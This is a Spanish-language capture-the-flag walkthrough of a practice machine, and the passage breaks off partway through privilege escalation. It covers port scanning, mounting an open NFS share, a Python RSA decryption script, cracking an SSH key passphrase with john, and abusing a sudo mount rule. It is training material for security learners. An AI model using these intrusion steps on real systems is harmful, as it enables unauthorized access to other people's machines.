Para lograr obtener o comprometer el servidor en esta sala tendremos que enfrentarnos a una serie de conceptos, las cuales son: enumeración de nfs, explotación de claves RSA, cracking del id_rsa y escalada de privilegios, para luego realizar estenografía para obtener las flags.
Link
Created by
Enumeración
Iniciamos enumerando los puertos de la maquina con la herramienta de nmap
❯ nmap -p- --open --min-rate 1000 -vvv 10.10.243.22 -Pn -n -oG allportsScan
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
111/tcp open rpcbind syn-ack
2049/tcp open nfs syn-ack
Una vez encontrado los puertos abiertos, procedemos a enumerar cada uno de los servicios que se ejecutan en estos.
Visitando el sitio web nos encontraremos con lo siguiente
Enumerando la web no se encontró nada mas que la pagina que se muestra anteriormente. Procederemos a enumerar otro servicio.
Explotación
Puerto 2049
Para enumerar el servicio que se ejecuta en el 2096 tendremos que hacer uso de showmount
❯ showmount -e 10.10.243.22
Enumerando encontramos lo siguiente:
Tenemos accedo o se puede hacer una montura en nuestro sistema del directorio /var/failsafe de la maquina victima. Procederemos a realizar la montura con mount
❯ sudo mount -t nfs 10.10.243.22:/var/failsafe /mnt/willow
Ahora, realizaremos un script para la decodificación (descifrado) de un mensaje cifrado utilizando el algoritmo de cifrado RSA. Aquí está el propósito y una descripción más detallada:
import argparse
Aquí se importa el módulo argparse, que se utiliza para analizar los argumentos de la línea de comandos.
Se definen tres argumentos que el script espera recibir desde la línea de comandos:
"file": La ruta al archivo que contiene el texto cifrado.
"d": La clave privada para el algoritmo RSA.
"n": El módulo utilizado en el algoritmo RSA.
args = parser.parse_args()
El método parse_args() analiza los argumentos de la línea de comandos y devuelve un objeto que contiene los valores proporcionados para los argumentos definidos anteriormente.
with open(args.file, "r") as coded: data = [int(i.strip("\n")) for i in coded.read().split(" ")]
Se abre el archivo especificado en el argumento "file", se lee su contenido y se convierte cada número en una lista de enteros. El archivo debe contener números separados por espacios.
for i in data: print(chr(i ** args.d % args.n), end="")
Para cada número en la lista data, realiza la operación de descifrado RSA y la imprime como carácter. La operación de descifrado RSA es i ** args.d % args.n. Después, chr(...) convierte el resultado en su carácter ASCII correspondiente.
end=""
El argumento end="" en la función print evita que se imprima un carácter de nueva línea después de cada carácter descifrado, asegurando que la salida sea continua.
import argparse
def decode_rsa(file_path, private_key_d, modulus_n):
with open(file_path, "r") as coded:
data = [int(i.strip("\n")) for i in coded.read().split(" ")]
decoded_message = ''.join([chr(i ** private_key_d % modulus_n) for i in data])
return decoded_message
def main():
parser = argparse.ArgumentParser(description="Decode RSA")
parser.add_argument("file", help="The file containing the encrypted text")
parser.add_argument("d", help="The Private Key", type=int)
parser.add_argument("n", help="The Modulus", type=int)
args = parser.parse_args()
result = decode_rsa(args.file, args.d, args.n)
print(result)
if __name__ == "__main__":
main()
Podemos observar que el id_rsa esta protegida con contraseña, por lo que procederemos a a obtener el hash ssh2john para luego crackearla con john.
❯ ssh2john id_rsa > hash
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
wildflower (id_rsa)
1g 0:00:00:00 DONE (2024-01-26 15:52) 5.882g/s 59482p/s 59482c/s 59482C/s chulita..simran
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Ahora teniendo la contraseña de la id_rsa podremos logearnos por ssh, pero antes debemos de dar permisos con el siguiente comando: chmod 600 id_rsa
❯ ssh -i id_rsa willow@10.10.67.188
Por lo que se debe realizar de la siguiente forma:
Lo cual nos dejara ingresar como el usuario willow.
Escalada de privilegios
Usuario : willow
La diferencia está en la restricción de tipos de clave aceptados en el primer comando. Al agregar -o PubkeyAcceptedKeyTypes=+ssh-rsa, estás indicando explícitamente que solo se deben aceptar claves ssh-rsa. En el segundo comando, no estás especificando ninguna restricción adicional, por lo que se utilizarán los algoritmos de clave predeterminados aceptados por tu cliente SSH.
Si estás encontrando problemas de autenticación o recibes mensajes de error relacionados con la firma de la clave, a veces es necesario ser más explícito sobre qué algoritmo de clave estás dispuesto a aceptar o usar. La primera forma de invocar ssh con -o PubkeyAcceptedKeyTypes=+ssh-rsa es un intento de hacer esto.
Enumerando el sistema encontraremos que podemos ejecutar el /bin/mount /dev/* de manera privilegiada:
willow@willow-tree:~$ sudo -l
(ALL : ALL) NOPASSWD: /bin/mount /dev/*
Antes de ejecutar el comando, nos dirigimos al directorio /dev en donde encontramos algo que nos llama la atención que es hidden_backup.
"b" se refiere a un dispositivo de bloques, lo que significa que hidden_backup es un archivo especial que representa un dispositivo de bloques, como un disco duro o una partición.
Por lo que procederemos a realizar una montura de hidden_backup